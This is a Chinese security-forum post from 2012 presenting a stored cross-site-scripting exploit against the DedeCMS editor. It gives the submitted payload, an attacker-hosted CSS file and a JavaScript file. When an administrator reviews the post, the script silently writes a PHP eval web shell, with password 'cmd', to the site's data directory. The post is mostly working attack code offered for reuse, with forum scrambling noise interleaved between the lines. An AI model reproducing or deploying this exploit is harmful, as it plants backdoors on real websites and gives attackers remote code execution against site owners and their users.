中国网络渗透测试联盟
标题:
dedecms xss oday通杀所有版本 可getshell
[打印本页]
作者:
admin
时间:
2012-9-15 13:56
标题:
dedecms xss oday通杀所有版本 可getshell
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
. o6 d& { {8 @ w2 V* G8 X* h
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
+ C3 U4 F0 ?5 f& M
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
/ k2 R; P( _5 Y$ a, b" O0 X
下面说说利用方法。
. q8 W5 h5 [, U, I# E
条件有2个:
- L; y- ^" D4 q& i0 W7 i. M
1.开启注册
, r0 f5 d i7 t
2.开启投稿
1 U3 C: k. h( o- i
注册会员----发表文章
( Y6 o7 k8 C$ w3 C5 f, d2 `9 x2 @
内容填写:
- y7 @& Z$ x1 K* x( Y5 f8 e
复制代码
2 G' f; |* h; |% }2 v. {3 _5 b; I
<style>@im\port'\
http://xxx.com/xss.css';
</style>
$ |6 \5 I9 L: T, B$ G5 l" v
新建XSS.Css
: b) a* M) M( i/ s Q! w
复制代码
, U7 f3 c, P+ J( Q: \) P
.body{
2 d, r) Q! Z1 a @
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
$ e1 s2 M7 o& W# ^; _( o' z; O
新建xss.js 内容为
( p: q7 z$ O8 `: k. J" {
复制代码
* N* `, d& D# w
1.var request = false;
' q2 o( F! T$ v0 Z* b+ p% K8 c
2.if(window.XMLHttpRequest) {
8 f! G! t4 T$ |, q/ i
3.request = new XMLHttpRequest();
0 A* T3 U- Y3 P* F1 S( c
4.if(request.overrideMimeType) {
" P# q5 ]* ^9 q& Y7 v
5.request.overrideMimeType('text/xml');
+ P6 z5 C; A9 w0 c8 V1 H: R
6.}
. j) t8 l/ D7 f; [' r0 G" b. m( |) N
7.} else if(window.ActiveXObject) {
! d K) F) _# j* q0 q; _
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- z' O0 V& P- o
9.for(var i=0; i<versions.length; i++) {
7 T: }9 X1 _% P* ~! Z8 ~! F/ z
10.try {
) D& v1 g6 e! E4 d
11.request = new ActiveXObject(versions);
: {, a# t0 J% L5 A: }+ A) O
12.} catch(e) {}
a6 w4 A/ {/ b0 x, |
13.}
9 `/ I3 a' z" c0 \
14.}
6 M. a9 o6 m0 Y/ a: S
15.xmlhttp=request;
. A+ }! _8 r7 G5 Z3 o/ H
16.function getFolder( url ){
" N2 D* E% Q* c
17. obj = url.split('/')
u* S3 C+ f( N7 }6 a" ?% g
18. return obj[obj.length-2]
5 T2 b* E: R9 P! [6 z
19.}
$ |2 i# q' `7 O8 R+ Z- O
20.oUrl = top.location.href;
+ i( d% G* `6 v' d
21.u = getFolder(oUrl);
" T; h/ _$ X; |9 x7 F9 B4 _
22.add_admin();
; n% D6 r, W+ f/ J& |- x2 W
23.function add_admin(){
9 Y; u: r" X9 N. V. `- s
24.var url= "/"+u+"/sys_sql_query.php";
7 L# F1 X$ Y5 ` i$ j* f* G
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
# `- d1 N& {3 v
26.xmlhttp.open("POST", url, true);
7 R) s, H* G0 r2 a4 U5 Q) T
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
! {1 T' e! g+ a' r: p' @3 a3 w
28.xmlhttp.setRequestHeader("Content-length", params.length);
3 `% I% \+ \ m# t. h( a$ y9 e% @
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
1 r8 c, t# u! F. d, U
30.xmlhttp.send(params);
$ _/ Q9 y+ ], Y' K: t7 a2 O M
31.}
% m3 A3 Z0 T- h& n* O( j
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2